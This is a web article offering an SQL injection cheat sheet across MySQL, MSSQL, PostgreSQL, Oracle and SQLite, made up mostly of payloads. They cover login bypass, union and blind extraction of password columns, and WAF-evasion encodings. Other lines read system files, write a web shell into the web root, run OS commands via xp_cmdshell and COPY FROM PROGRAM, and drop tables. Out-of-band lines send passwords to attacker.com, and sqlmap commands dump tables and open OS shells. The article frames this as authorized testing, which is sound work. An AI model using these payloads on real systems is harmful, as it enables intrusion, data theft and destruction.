SQL Injection Cheat Sheet: Payloads, Commands & Bypass Filters
This SQL injection cheat sheet is your comprehensive reference guide for penetration testing and security research. Whether you're testing web applications, bypassing WAFs, or learning ethical hacking, this guide provides 100+ tested payloads, database-specific commands, and bypass techniques for MySQL, MSSQL, PostgreSQL, Oracle, and SQLite.
📋 What's in This Cheat Sheet
- Authentication bypass payloads
- Union-based data extraction
- Blind SQL injection techniques
- Database fingerprinting methods
- WAF bypass strategies
- sqlmap automation commands
- Quick reference tables
How to Use This SQL Injection Cheat Sheet
This sql injection cheat sheet is organized by attack type and database system. If you're new to SQL injection, start with our beginner's guide to SQL injection to understand the fundamentals before using these payloads.
Who this is for:
- Penetration testers conducting authorized security assessments
- Security researchers analyzing web application vulnerabilities
- Bug bounty hunters following responsible disclosure
- Students learning ethical hacking in controlled environments
- Developers understanding attack vectors to build better defenses
⚠️ Legal Notice: These sql injection payloads are for authorized testing only. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act and equivalent laws worldwide. Always obtain written permission before testing.
Basic SQL Injection Payloads
These fundamental sql injection payloads target authentication mechanisms and login forms. Learn more about these techniques in our SQL injection types guide.
Authentication Bypass Payloads
| ' OR '1'='1
| Classic boolean true condition
| Bypass username/password checks
| ' OR 1=1--
| Boolean true with comment
| Nullify remaining query logic
| admin' --
| Username with comment
| Login as admin, ignore password
| admin' #
| MySQL comment syntax
| Same as above for MySQL
| ' OR 'x'='x
| Alternative boolean comparison
| WAF bypass variation
| ' OR 1=1 LIMIT 1--
| Return only first result
| Ensure single user return
| ') OR ('1'='1
| Closing parenthesis variation
| Handle wrapped WHERE clauses
| ') OR '1'='1'--
| Multiple quotes with close
| Complex query structures
| 1' OR '1'='1' /*
| Universal comment starter
| Multi-line SQL comments
| admin'/*
| Username with open comment
| Advanced comment injection
Login Form Injection Examples
`-- Target query: SELECT * FROM users WHERE username='$user' AND password='$pass'
-- Injection in username field: Payload: admin' OR '1'='1' -- Result: SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password=''
-- Injection in password field: Payload: ' OR 1=1-- Result: SELECT * FROM users WHERE username='admin' AND password='' OR 1=1--'
## Union-Based SQL Injection Payloads
Union-based attacks extract data by combining results from multiple SELECT statements. See our detailed [union-based SQL injection tutorial](/articles/union-based-sql-injection-complete-exploitation-guide) for step-by-step exploitation.
### Column Enumeration
<tbody>
| `' ORDER BY 1--`
| Test if 1 column exists
| `' ORDER BY 2--`
| Test if 2 columns exist
| `' ORDER BY 10--`
| Increment until error
| `' GROUP BY 1,2,3--`
| Alternative column counting
| `' UNION SELECT NULL--`
| Test union compatibility (1 col)
| `' UNION SELECT NULL,NULL--`
| Test union compatibility (2 cols)
| `' UNION SELECT NULL,NULL,NULL--`
| Test union compatibility (3 cols)
</tbody>
### Data Extraction Payloads
`-- Extract database version
' UNION SELECT NULL,@@version--
' UNION SELECT NULL,version()--
-- Extract current database
' UNION SELECT NULL,database()--
' UNION SELECT NULL,db_name()--
-- Extract current user
' UNION SELECT NULL,user()--
' UNION SELECT NULL,current_user--
-- Extract table names
' UNION SELECT NULL,table_name FROM information_schema.tables--
' UNION SELECT NULL,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--
-- Extract column names
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT NULL,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'--
-- Extract data from specific table
' UNION SELECT NULL,CONCAT(username,':',password) FROM users--
' UNION SELECT NULL,GROUP_CONCAT(username,0x3a,password) FROM users--
Blind SQL Injection Payloads
When applications don't return SQL errors or data directly, use these blind sql injection techniques. Our blind SQL injection guide covers these methods in depth.
Boolean-Based Blind SQLi
| ' AND 1=1--
| True condition (normal page)
| ' AND 1=2--
| False condition (different page)
| ' AND SUBSTRING(database(),1,1)='a'--
| Test first character of database
| ' AND ASCII(SUBSTRING(database(),1,1))>97--
| Binary search for character
| ' AND LENGTH(database())>5--
| Test database name length
| ' AND (SELECT COUNT(*) FROM users)>0--
| Test if table exists
Time-Based Blind SQLi
`-- MySQL time delay ' AND SLEEP(5)-- ' AND IF(1=1,SLEEP(5),0)-- ' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
-- MSSQL time delay '; WAITFOR DELAY '00:00:05'-- ' AND 1=1; WAITFOR DELAY '00:00:05'--
-- PostgreSQL time delay '; SELECT pg_sleep(5)-- ' AND 1=1 AND pg_sleep(5)--
-- Oracle time delay ' AND DBMS_LOCK.SLEEP(5)-- ' AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--
-- SQLite time delay (limited) ' AND RANDOMBLOB(100000000)--
### Conditional Time-Based Extraction
`-- Extract data character by character
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100,SLEEP(5),0)--
-- Extract table existence
' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)--
-- Extract data length
' AND IF(LENGTH((SELECT password FROM users LIMIT 1))>8,SLEEP(5),0)--
Database Fingerprinting Payloads
Identify the database management system with these sql injection commands:
| MySQL
| ' AND 1=1#
| Valid (# is MySQL comment)
| MySQL
| ' UNION SELECT @@version--
| Returns MySQL version
| MySQL
| ' AND SLEEP(1)--
| 1-second delay
| MSSQL
| '; WAITFOR DELAY '00:00:01'--
| 1-second delay
| MSSQL
| ' UNION SELECT @@version--
| Returns MSSQL version
| MSSQL
| ' AND LEN(DB_NAME())>0--
| MSSQL-specific function
| PostgreSQL
| ' UNION SELECT version()--
| Returns PostgreSQL version
| PostgreSQL
| '; SELECT pg_sleep(1)--
| 1-second delay
| PostgreSQL
| ' AND 1=1::int--
| PostgreSQL cast syntax
| Oracle
| ' UNION SELECT banner FROM v$version--
| Returns Oracle version
| Oracle
| ' AND 1=1 FROM dual--
| Oracle requires FROM dual
| Oracle
| ' AND ROWNUM=1--
| Oracle-specific keyword
| SQLite
| ' UNION SELECT sqlite_version()--
| Returns SQLite version
| SQLite
| ' AND 1=1 LIMIT 1--
| SQLite accepts LIMIT
Database-Specific Payloads
These sql injection commands are tailored for specific database management systems.
MySQL Payloads
| Version
| ' UNION SELECT @@version--
| Current user
| ' UNION SELECT user()--
| Database name
| ' UNION SELECT database()--
| List databases
| ' UNION SELECT schema_name FROM information_schema.schemata--
| List tables
| ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--
| List columns
| ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
| Read file
| ' UNION SELECT LOAD_FILE('/etc/passwd')--
| Write file
| ' UNION SELECT 'shell' INTO OUTFILE '/var/www/html/shell.php'--
| Error-based
| ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND()*2))x FROM information_schema.tables GROUP BY x)y)--
MSSQL Payloads
| Version
| ' UNION SELECT @@version--
| Current user
| ' UNION SELECT SYSTEM_USER--
| Database name
| ' UNION SELECT DB_NAME()--
| List databases
| ' UNION SELECT name FROM master..sysdatabases--
| List tables
| ' UNION SELECT name FROM sysobjects WHERE xtype='U'--
| List columns
| ' UNION SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--
| Command execution
| '; EXEC xp_cmdshell 'whoami'--
| Read file
| ' UNION SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB)--
| Stacked queries
| '; DROP TABLE temp_table--
PostgreSQL Payloads
| Version
| ' UNION SELECT version()--
| Current user
| ' UNION SELECT current_user--
| Database name
| ' UNION SELECT current_database()--
| List databases
| ' UNION SELECT datname FROM pg_database--
| List tables
| ' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--
| List columns
| ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
| Read file
| ' UNION SELECT pg_read_file('/etc/passwd',0,200)--
| Command execution
| '; COPY cmd_exec FROM PROGRAM 'id'--
| Time delay
| '; SELECT pg_sleep(5)--
Oracle Payloads
| Version
| ' UNION SELECT banner FROM v$version--
| Current user
| ' UNION SELECT user FROM dual--
| Database name
| ' UNION SELECT global_name FROM global_name--
| List tables
| ' UNION SELECT table_name FROM all_tables--
| List columns
| ' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--
| String concatenation
| ' UNION SELECT username||':'||password FROM users--
| Time delay
| ' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1--
| Error-based
| ' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--
SQLite Payloads
| Version
| ' UNION SELECT sqlite_version()--
| List tables
| ' UNION SELECT name FROM sqlite_master WHERE type='table'--
| List columns
| ' UNION SELECT sql FROM sqlite_master WHERE type='table' AND name='users'--
| Extract data
| ' UNION SELECT username||':'||password FROM users--
| Load extension
| ' UNION SELECT load_extension('/path/to/ext.so')--
WAF Bypass Techniques
Web Application Firewalls (WAFs) attempt to block sql injection bypass attempts. These techniques evade common filters:
Case Variation
`-- Standard payload ' UNION SELECT * FROM users--
-- Case variation ' UnIoN SeLeCt * FrOm users-- ' uNiOn sElEcT * fRoM users--
### Comment Injection
`-- Inline comments (MySQL)
' UNION/**/SELECT/**/password/**/FROM/**/users--
' UN/**/ION SE/**/LECT password FR/**/OM users--
-- Nested comments
' UNION/*comment*/SELECT/**/password/**/FROM/**/users--
-- Comment obfuscation
'/**/OR/**/1=1/**/--
'/*!50000OR*/1=1--
Whitespace Alternatives
`-- Tab character '%09UNION%09SELECT%09password%09FROM%09users--
-- Newline character '%0aUNION%0aSELECT%0apassword%0aFROM%0ausers--
-- Multiple spaces ' UNION SELECT password FROM users--
-- No spaces with comments '//UNION//SELECT//password//FROM/**/users--
### Encoding Techniques
<tbody>
| URL encoding
| `%27%20UNION%20SELECT%20*%20FROM%20users--`
| Double URL encoding
| `%2527%2520UNION%2520SELECT`
| Hex encoding
| `' UNION SELECT 0x61646d696e--` (hex for 'admin')
| Unicode encoding
| `%u0027%u0020UNION%u0020SELECT`
| Char encoding
| `' UNION SELECT CHAR(97,100,109,105,110)--`
</tbody>
### Keyword Alternatives
<tbody>
| UNION
| `UNION ALL`, `UNION DISTINCT`
| SELECT
| `SELECT TOP 1`, `SELECT DISTINCT`
| AND
| `&&`, `%26%26`
| OR
| `||`, `%7C%7C`
| =
| `LIKE`, `IN`, `BETWEEN`
| SPACE
| `%09` (tab), `%0a` (newline), `/**/`
</tbody>
### Advanced Bypass Examples
`-- Filter bypass combination
'/**/UnIOn/**/aLl/**/SeLeCt/**/1,2,3--
-- Reverse string (MySQL)
'/**/REVERSE('tceles')/**/password/**/FROM/**/users--
-- Hex encoding bypass
' UNION SELECT 0x5345,0x4c454354--
-- Concatenation bypass
' UNION SELECT CONCAT('ad','min')--
-- Substring reassembly
' UNION SELECT SUBSTR('SSELECT',2)||SUBSTR('EELECT',2)--
Advanced Payloads
Stacked Queries
Execute multiple SQL statements in sequence (supported by MSSQL, PostgreSQL):
`-- MSSQL stacked queries '; INSERT INTO users VALUES('hacker','password',1)-- '; UPDATE users SET role='admin' WHERE username='hacker'-- '; DROP TABLE logs--
-- PostgreSQL stacked queries '; CREATE TABLE cmd_exec(output text)-- '; COPY cmd_exec FROM PROGRAM 'id'-- '; SELECT * FROM cmd_exec--
### Second-Order SQL Injection
`-- First request: Store malicious payload
Username: admin'--
Password: anything
-- Second request: Payload executes when data is retrieved
-- Application retrieves: SELECT * FROM logs WHERE user='admin'--'
Out-of-Band (OOB) Injection
`-- MySQL (requires LOAD_FILE privileges) ' UNION SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM users LIMIT 1),'.attacker.com\share'))--
-- MSSQL '; EXEC master..xp_dirtree '\attacker.com\share'--
-- Oracle ' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||password) FROM users--
### Polyglot Payloads
Work across multiple contexts and databases:
`-- Universal polyglot
RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))--
1' or 1=1 limit 1 -- -+
' or '1'='1
sqlmap Commands Cheat Sheet
sqlmap is the industry-standard automated sql injection tool. Here are essential commands:
Basic sqlmap Commands
| sqlmap -u "http://site.com/page?id=1"
| Basic scan of GET parameter
| sqlmap -u URL --dbs
| Enumerate databases
| sqlmap -u URL -D dbname --tables
| Enumerate tables in database
| sqlmap -u URL -D dbname -T users --columns
| Enumerate columns in table
| sqlmap -u URL -D dbname -T users --dump
| Dump table contents
| sqlmap -u URL --current-db
| Get current database name
| sqlmap -u URL --current-user
| Get current database user
| sqlmap -u URL --passwords
| Enumerate database user passwords
Advanced sqlmap Options
| --level=5
| Maximum test level (1-5)
| --risk=3
| Maximum risk level (1-3)
| -p parameter
| Test specific parameter
| --cookie="PHPSESSID=abc123"
| Pass authentication cookie
| --data="id=1&submit=Search"
| Test POST data
| --random-agent
| Use random User-Agent
| --proxy="http://127.0.0.1:8080"
| Route through proxy (Burp)
| --threads=10
| Concurrent HTTP requests
| --batch
| Never ask for user input
| --technique=BEUST
| Boolean/Error/Union/Stacked/Time
| --tamper=space2comment
| Use tamper script for bypass
| --os-shell
| Get interactive OS shell
| --sql-shell
| Get interactive SQL shell
sqlmap Practical Examples
`# Test login form with credentials sqlmap -u "http://site.com/login.php" --data="user=admin&pass=test" --dbs
Test with authentication cookie
sqlmap -u "http://site.com/profile?id=1" --cookie="session=abc123" --dump
Bypass WAF with tamper scripts
sqlmap -u URL --tamper=space2comment,between --random-agent
Test all parameters with high level
sqlmap -u "http://site.com/search?q=test&cat=1" --level=5 --risk=3
Extract specific database and table
sqlmap -u URL -D webapp -T users -C username,password --dump
File read/write operations
sqlmap -u URL --file-read="/etc/passwd" sqlmap -u URL --file-write="shell.php" --file-dest="/var/www/html/shell.php"
OS command execution
sqlmap -u URL --os-cmd="whoami" sqlmap -u URL --os-shell
### Popular sqlmap Tamper Scripts
<tbody>
| `space2comment`
| Replace spaces with /**/ comments
| `between`
| Replace = with BETWEEN...AND
| `charencode`
| URL-encode special characters
| `randomcase`
| Random case for keywords
| `equaltolike`
| Replace = with LIKE
| `apostrophemask`
| Replace ' with UTF-8 equivalent
| `versionedkeywords`
| MySQL version comments
</tbody>
## Quick Reference Tables
### Payloads by Purpose
<tbody>
| Bypass login
| Authentication bypass
| `' OR '1'='1`
| Extract data
| Union-based
| `' UNION SELECT username,password FROM users--`
| No visible output
| Blind boolean
| `' AND 1=1--` vs `' AND 1=2--`
| Extremely restrictive
| Time-based blind
| `' AND SLEEP(5)--`
| Identify database
| Fingerprinting
| `' UNION SELECT @@version--`
| Bypass WAF
| Encoding/comments
| `'/**/UNION/**/SELECT/**/'`
| Execute commands
| Stacked queries
| `'; EXEC xp_cmdshell 'whoami'--`
</tbody>
### Injection Points by HTTP Method
<tbody>
| GET parameter
| `?id=1' UNION SELECT--`
| POST data
| `username=admin' OR 1=1--`
| Cookie value
| `Cookie: id=1' UNION SELECT--`
| HTTP header
| `User-Agent: ' OR 1=1--`
| JSON parameter
| `{"id": "1' OR '1'="1"}`
| XML parameter
| `<id>1' OR '1'='1</id>`
</tbody>
### Error Messages and Database Types
<tbody>
| You have an error in your SQL syntax
| MySQL
| Warning: mysql_
| MySQL
| Unclosed quotation mark after
| MSSQL
| Microsoft SQL Native Client error
| MSSQL
| PostgreSQL query failed
| PostgreSQL
| unterminated quoted string
| PostgreSQL
| ORA-00933
| Oracle
| Oracle error
| Oracle
| SQLite/JDBCDriver
| SQLite
</tbody>
## Testing Workflow Checklist
Follow this systematic approach when testing for **sql injection vulnerabilities**:
- ✓ **Identify injection points:** Test all input fields, parameters, headers
- ✓ **Trigger SQL errors:** Use `'`, `"`, `;`, `--`, `#`
- ✓ **Confirm vulnerability:** `' AND 1=1--` vs `' AND 1=2--`
- ✓ **Fingerprint database:** Identify DBMS type and version
- ✓ **Determine attack vector:** Union-based, error-based, blind, or time-based
- ✓ **Count columns (union):** `ORDER BY` or `UNION SELECT NULL`
- ✓ **Extract database metadata:** Database name, tables, columns
- ✓ **Extract sensitive data:** Usernames, passwords, credit cards
- ✓ **Test for privilege escalation:** File read/write, command execution
- ✓ **Document findings:** Screenshot evidence, reproduce steps
## Defense and Prevention
While this is a cheat sheet for **sql injection testing**, understanding defenses is crucial. Our comprehensive [SQL injection prevention guide](/articles/sql-injection-prevention-complete-defense-guide-for-developers) covers secure coding practices in detail.
### Quick Prevention Checklist
- ✓ Use parameterized queries (prepared statements)
- ✓ Implement input validation and sanitization
- ✓ Use ORM frameworks correctly
- ✓ Apply principle of least privilege for database accounts
- ✓ Disable error messages in production
- ✓ Deploy Web Application Firewall (WAF)
- ✓ Regular security testing and code review
Learn more about these defenses in the [OWASP Top 10 security guide](/articles/owasp-top-10-2025-complete-web-application-security-guide-2025-complete-web-application-security-guide).
## SQL Injection Resources
### Official Documentation
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) — Official OWASP documentation and prevention cheat sheet
- [PortSwigger SQL Injection](https://portswigger.net/web-security/sql-injection) — Comprehensive tutorials and labs
- [PayloadsAllTheThings SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) — Community-maintained payload repository
- [MySQL Documentation](https://dev.mysql.com/doc/) — Official MySQL reference manual
### Related Articles from This Series
- [Article 1: What is SQL Injection? Complete Beginner's Guide](/articles/what-is-sql-injection-complete-beginner-s-guide-2026)
- [Article 2: SQL Injection Types Explained with Examples](/articles/sql-injection-types-explained-error-union-blind-time-based)
- [Article 3: SQL Injection Tutorial: Hands-On Practice with DVWA](/articles/sql-injection-tutorial-hands-on-practice-with-dvwa-2026)
- [Article 4: Union-Based SQL Injection: Complete Exploitation Guide](/articles/union-based-sql-injection-complete-exploitation-guide)
- [Article 5: Blind SQL Injection: Boolean & Time-Based Techniques](/articles/blind-sql-injection-boolean-and-time-based-techniques)
- [Article 7: SQL Injection Prevention: Developer's Security Guide](/articles/sql-injection-prevention-complete-defense-guide-for-developers) (upcoming)
## Frequently Asked Questions
### What is a SQL injection cheat sheet used for?
A **sql injection cheat sheet** is a reference guide containing tested payloads, commands, and bypass techniques for penetration testing and security research. It's used by ethical hackers during authorized security assessments, bug bounty hunters, security researchers, and developers learning about attack vectors. This cheat sheet provides quick access to database-specific commands, WAF bypass methods, and sqlmap automation.
### What's the difference between union-based and blind SQL injection payloads?
Union-based SQL injection uses the UNION operator to combine malicious queries with legitimate ones, directly displaying extracted data in the application response. This requires visible output and knowledge of column count. Blind SQL injection is used when the application doesn't display database output; instead, it infers data through boolean responses (true/false conditions) or time delays. Blind techniques are slower but work when union-based attacks fail. See our guides on [union-based](/articles/union-based-sql-injection-complete-exploitation-guide) and [blind SQL injection](/articles/blind-sql-injection-boolean-and-time-based-techniques) for detailed comparisons.
### How do I bypass WAF filters when testing for SQL injection?
**SQL injection bypass** techniques include: (1) Case variation (UnIoN SeLeCt), (2) Comment injection (/\*\*/UNION/\*\*/SELECT), (3) Encoding (URL, hex, char encoding), (4) Whitespace alternatives (tabs, newlines), and (5) Keyword substitution (UNION ALL instead of UNION). Advanced methods include string concatenation, reverse functions, and polyglot payloads. sqlmap's tamper scripts automate many bypass techniques. Always test multiple methods as WAFs vary in restrictiveness.
### Which SQL injection payload should I use first?
Start with simple payloads to confirm vulnerability: single quote (`'`), double quote (`"`), comment syntax (`--`, `#`). If you get SQL errors, the application is vulnerable. Next, test boolean conditions: `' AND 1=1--` (should succeed) vs `' AND 1=2--` (should fail). Once confirmed, fingerprint the database using version-specific functions. Then choose your attack vector: union-based for visible output, blind boolean for differential responses, or time-based when completely restrictive. Our [hands-on SQL injection tutorial](/articles/sql-injection-tutorial-hands-on-practice-with-dvwa-2026) walks through this methodology.
### Are these SQL injection payloads legal to use?
These payloads are legal ONLY during authorized penetration testing with written permission from the system owner. Unauthorized use constitutes a felony under the Computer Fraud and Abuse Act (USA) and equivalent laws worldwide. Legal uses include: bug bounty programs (within scope), authorized security assessments, personal lab environments, capture-the-flag competitions, and academic research with permission. Always obtain explicit authorization before testing. See our [SQL injection beginner's guide](/articles/what-is-sql-injection-complete-beginner-s-guide-2026) for ethical testing guidelines and the [OWASP Top 10 guide](/articles/owasp-top-10-2025-complete-web-application-security-guide-2025-complete-web-application-security-guide) for responsible disclosure practices.
## Conclusion
This **sql injection cheat sheet** provides comprehensive reference material for security professionals conducting authorized testing. From basic authentication bypass to advanced database-specific exploitation, you now have access to proven payloads, WAF bypass techniques, and sqlmap automation commands.
**Key takeaways:**
- Start with simple payloads to confirm vulnerability
- Fingerprint the database before advanced exploitation
- Choose attack vectors based on application responses (union, blind, time-based)
- Use WAF bypass techniques when standard payloads are blocked
- Automate with sqlmap for efficiency and comprehensive testing
- Always obtain authorization before testing
Continue your SQL injection mastery by reading the complete series, from [fundamental concepts](/articles/what-is-sql-injection-complete-beginner-s-guide-2026) through [hands-on practice](/articles/sql-injection-tutorial-hands-on-practice-with-dvwa-2026) to our upcoming [prevention guide](/articles/sql-injection-prevention-complete-defense-guide-for-developers).
**Practice these techniques in safe, legal environments:** your own test servers, deliberately vulnerable applications (DVWA, bWAPP), and authorized bug bounty programs. SQL injection remains critical in the [OWASP Top 10](/articles/owasp-top-10-2025-complete-web-application-security-guide-2025-complete-web-application-security-guide) — understanding these attacks is essential for both offensive and defensive security.
**About the Author:** This article is brought to you by the Andrax Pentester team, specializing in web application security, penetration testing, and ethical hacking education. Follow for more in-depth security tutorials and vulnerability research.